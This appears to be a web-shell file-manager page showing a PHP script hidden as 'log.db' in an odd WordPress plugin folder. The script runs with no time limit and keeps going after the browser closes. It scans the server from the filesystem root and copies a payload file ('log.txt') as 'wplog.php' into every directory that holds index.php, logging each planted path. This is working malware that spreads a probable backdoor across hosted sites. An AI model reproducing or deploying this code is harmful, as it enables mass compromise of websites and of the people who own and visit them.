HEX
Server: LiteSpeed
System: Linux server107.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: iddeczhh (1154)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/iddeczhh/public_html/wp-content/plugins/yjchqzp/log.db
<?php
/**
 * Global Server Scanner - English Version
 * 
 * Features:
 * 1. Infinite execution time.
 * 2. Scans from server root.
 * 3. Excludes paths containing: /wp-includes/, /wp-content/, or /wp-admin/.
 * 4. Copies log.txt to wplog.php in directories containing index.php.
 * 5. Logs successful paths to phprs.txt.
 */

// 1. Remove environment limits
set_time_limit(0);          // Infinite execution time
ignore_user_abort(true);    // Keep running after browser is closed
ini_set('memory_limit', '1024M'); // High memory for deep filesystem scans

$sourceFile = 'log.txt';
$targetName = 'wplog.php';
$recordFile = 'phprs.txt';

// Get absolute paths relative to the script location
$scriptDir = dirname(__FILE__);
$absoluteSource = $scriptDir . DIRECTORY_SEPARATOR . $sourceFile;
$absoluteRecord = $scriptDir . DIRECTORY_SEPARATOR . $recordFile;

if (!file_exists($absoluteSource)) {
    die("Error: Source file '$sourceFile' not found in $scriptDir");
}

// 2. Identify System Root
$isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$rootPath = $isWindows ? substr($scriptDir, 0, 3) : '/';

echo "Deep Scan Started from: $rootPath <br>";
echo "Exclusion Filter: wp-includes, wp-content, wp-admin<br>";

try {
    // Initialize directory iterator
    $directory = new RecursiveDirectoryIterator($rootPath, RecursiveDirectoryIterator::SKIP_DOTS);
    $iterator = new RecursiveIteratorIterator(
        $directory, 
        RecursiveIteratorIterator::SELF_FIRST,
        RecursiveIteratorIterator::CATCH_GET_CHILD // Skips restricted folders automatically
    );

    foreach ($iterator as $item) {
        if ($item->isDir()) {
            try {
                $currentPath = $item->getRealPath();
                if (!$currentPath) continue;

                // Normalize path for string matching (replace \ with /)
                $normPath = str_replace('\\', '/', $currentPath);

                // --- STRICTURE EXCLUSION LOGIC ---
                if (strpos($normPath, '/wp-includes/') !== false || 
                    strpos($normPath, '/wp-content/') !== false || 
                    strpos($normPath, '/wp-admin/') !== false) {
                    continue; // Skip the entire directory tree
                }

                $indexPath = $currentPath . DIRECTORY_SEPARATOR . 'index.php';

                // Check for target directory signature
                if (file_exists($indexPath)) {
                    $destination = $currentPath . DIRECTORY_SEPARATOR . $targetName;
                    
                    // Execute copy
                    if (@copy($absoluteSource, $destination)) {
                        // Instant log writing
                        $logEntry = $destination . PHP_EOL;
                        file_put_contents($absoluteRecord, $logEntry, FILE_APPEND | LOCK_EX);
                        
                        echo "Success: " . htmlspecialchars($destination) . "<br>";
                        flush(); 
                    }
                }
            } catch (Exception $e) {
                // Silently skip unreadable directories
                continue;
            }
        }
    }
} catch (Exception $e) {
    file_put_contents($absoluteRecord, "Fatal System Error: " . $e->getMessage(), FILE_APPEND);
}

echo "--- Process Finished ---";